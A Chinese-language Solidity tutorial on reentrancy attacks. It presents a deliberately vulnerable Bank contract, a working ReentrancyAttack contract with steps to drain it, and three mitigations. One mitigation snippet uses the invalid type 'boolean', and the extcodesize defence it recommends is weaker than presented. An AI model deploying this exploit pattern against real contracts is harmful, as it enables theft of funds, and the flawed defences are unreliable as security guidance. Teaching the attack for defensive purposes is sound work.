合约重入攻击,是指在同一交易中对业务合约进行多次调用,从而实现对合约的攻击。
- 合约重入
如果业务合约的公开方法中,有提现 Ether 或者调用第三方合约的操作,那么就可以对合约方法的进行二次以及多次调用,从而实现合约重入。
- 重入攻击
大多数情况下,重入攻击利用了业务合约先提现 Ether 或者调用第三方合约,然后修改合约状态的漏洞,从而实现重入攻击。
- 合约重入
graph TB
sender[调用者] --> contract[业务合约] --> target[目标合约地址] -- 重入 --> contract
- 重入攻击
graph TB
start[方法开始] --> check[状态检查] --> callIt[提现 Ether 或者调用第三方合约] -- 重入攻击 --> start
callIt --> change[修改状态] --> endIt[方法结束]
这是一个简单的 Bank 合约示例,它的功能是存入和提现 Ether。如果你看不出合约的问题,说明你正需要学习这节课。(这个合约有巨大漏洞,请不要直接使用在任何实际业务中)
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.12;
interface IBank {
function deposit() external payable;
function withdraw() external;
}
contract Bank {
mapping(address => uint256) public balance;
uint256 public totalDeposit;
function ethBalance() external view returns (uint256) {
return address(this).balance;
}
function deposit() external payable {
balance[msg.sender] += msg.value;
totalDeposit += msg.value;
}
function withdraw() external {
require(balance[msg.sender] > 0, "Bank: no balance");
msg.sender.call{value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}
}
contract ReentrancyAttack {
IBank bank;
constructor(address _bank) {
bank = IBank(_bank);
}
function doDeposit() external payable {
bank.deposit{value: msg.value}();
}
function doWithdraw() external {
bank.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
bank.withdraw();
}
}
-
选择 solidity 版本为 0.8.12,部署 Bank 合约。
-
将 Bank 合约地址作为参数部署 ReentrancyAttack 合约。
-
value 选择 1 Ether,点击 Bank 合约的 deposit 方法,存入 1 Ether。
-
value 选择 1 Ether,点击 ReentrancyAttack 合约的 doDeposit 方法,存入 1 Ether。
-
点击 Bank 合约的 totalDeposit 方法,是 2 Ether,点击 Bank 合约的 ethBalance 方法,也是 2 Ether。
-
点击 ReentrancyAttack 合约的 doWithdraw 方法,进行重入攻击。
-
点击 Bank 合约的 totalDeposit 方法,是 1 Ether,点击 Bank 合约的 ethBalance 方法,却是 0 Ether。
-
使用 Bank 合约的 balance 方法查看 ReentrancyAttack 合约地址和合约创建者,发现合约创建者 balance 为 1 Ether,但是合约里已经没有 Ether 可以提供兑付。
-
禁止重入
boolean public entered; modifier nonReentrant() { require(!entered, "Bank: reentrant call"); entered = true; _; entered = false; } function withdraw() nonReentrant external { require(balance[msg.sender] > 0, "Bank: no balance"); msg.sender.call{value: balance[msg.sender]}(""); totalDeposit -= balance[msg.sender]; balance[msg.sender] = 0; }
使用 nonReentrant 来禁止合约重入,可以防止重入攻击。这里推荐使用 openzeppelin 的官方防重入合约
@openzeppelin/contracts/security/ReentrancyGuard.sol
。 -
在提现 Ether 或者调用第三方合约之前,先修改合约状态
function withdraw() external { require(balance[msg.sender] > 0, "Bank: no balance"); uint256 _balance = balance[msg.sender]; totalDeposit -= balance[msg.sender]; balance[msg.sender] = 0; msg.sender.call{value: _balance}(""); }
优先修改合约状态,虽然不能禁止合约重入,但可以避免被重入攻击。
-
禁止转账 Ether 到合约地址
function withdraw() nonReentrant external { require(balance[msg.sender] > 0, "Bank: no balance"); uint256 size; address sender = msg.sender; assembly { size := extcodesize(sender) } require(size == 0, "Bank: cannot transfer to contract"); msg.sender.call{value: balance[msg.sender]}(""); totalDeposit -= balance[msg.sender]; balance[msg.sender] = 0; }
禁止转账 Ether 到合约地址,可以防止转账 Ether 导致的合约重入。